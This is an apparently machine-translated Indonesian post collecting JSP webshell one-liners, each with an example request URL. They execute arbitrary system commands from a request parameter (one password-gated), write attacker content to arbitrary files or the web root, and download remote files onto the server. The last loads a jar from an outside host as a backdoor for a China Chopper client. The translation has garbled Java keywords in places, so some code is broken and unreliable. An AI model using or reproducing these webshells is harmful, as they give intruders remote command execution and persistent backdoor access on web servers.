|
|
Diposting pada 02/01/2015 18.46.57
|
|
|
|

Ditransfer dari: http://p2j.cn/?p=1627 1. Jalankan perintah sistem: Jalankan perintah sistem tanpa gema: <%Runtime.getRuntime().exec(request.getParameter("i"));%> Permintaan: http://192.168.16.240:8080/Shell/cmd2.jsp?i=ls Tidak akan ada gema setelah eksekusi, yang sangat nyaman untuk cangkang pantulan. Ada gema dengan verifikasi kata sandi: <% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = byte baru[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); }%> Permintaan: http://192.168.16.240:8080/Shell/cmd2.jsp?pwd=023&i=ls
2. Kodekan string dan tulis ke file yang ditentukan: 1: <%java.io.FileOutputStream(request.getParameter("f")).write(request.getParameter("c").getBytes());%> Permintaan: http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 Tulis ke direktori web: <%java.io.FileOutputStream(application.getRealPath("/")+"/"+request.getParameter("f")).write(request.getParameter("c").getBytes());%> Permintaan: http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 2: <%java.io.RandomAccessFile(request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %> Permintaan: http://localhost:8080/Shell/file.jsp?f=/Users/yz/wwwroot/2.txt&c=1234 Tulis ke direktori web: <%java.io.RandomAccessFile(application.getRealPath("/")+"/"+request.getParameter("f"),"rw").write(request.getParameter("c").getBytes()); %> Permintaan: http://localhost:8080/Shell/file.jsp?f=2.txt&c=1234 3: Unduh file jarak jauh (jika Anda tidak menggunakan utilitas apache io, Anda tidak dapat mengonversi aliran input ke byte, jadi sangat panjang...) <% java.io.InputStream di = java.net.URL(request.getParameter("u")).openStream(); byte[] b = byte baru[1024]; java.io.ByteArrayOutputStream baos = java.io.ByteArrayOutputStream baru(); int a = -1; sementara ((a = in.read(b)) != -1) { baos.write(b, 0, a); } java.io.FileOutputStream(request.getParameter("f"))).write(baos.toByteArray()); %> Permintaan: http://localhost:8080/Shell/download.jsp?f=/Users/yz/wwwroot/1.png&u=http://www.baidu.com/img/bdlogo.png Unduh ke jalur web: <% java.io.InputStream di = java.net.URL(request.getParameter("u")).openStream(); byte[] b = byte baru[1024]; java.io.ByteArrayOutputStream baos = java.io.ByteArrayOutputStream baru(); int a = -1; sementara ((a = in.read(b)) != -1) { baos.write(b, 0, a); } java.io.FileOutputStream(application.getRealPath("/")+"/"+ request.getParameter("f"))).write(baos.toByteArray()); %> Permintaan: http://localhost:8080/Shell/download.jsp?f=1.png&u=http://www.baidu.com/img/bdlogo.png Empat: Refleksi memanggil toples eksternal, sempurnakan pintu belakang Jika Anda tidak menyukai fungsi backdoor di atas terlalu lemah dan ketinggalan zaman, Anda dapat mencoba ini: <%=Class.forName("Load",true,new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL(request.getParameter("u"))})).getMethods()[0].invoke(null, new Object[]{ request.getParameterMap()})%> Permintaan: http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar&023=A
Koneksi pisau dapur: http://192.168.16.240:8080/Shell/reflect.jsp?u=http://p2j.cn/Cat.jar, kata sandi 023.
Solusi: Gunakan refleksi untuk memuat jar eksternal ke dalam aplikasi saat ini, dan refleksi mengeksekusi hasil pemrosesan keluaran. request.getParameterMap() berisi semua parameter yang diminta. Karena paket jar eksternal dimuat, server harus dapat mengakses alamat jar ini. |
Mantan:Krisis di balik file teks TXTDepan:Enkripsi Java MD5, enkripsi Base64 dan dekripsi Java mengeksekusi kode sumber perintah sistem
|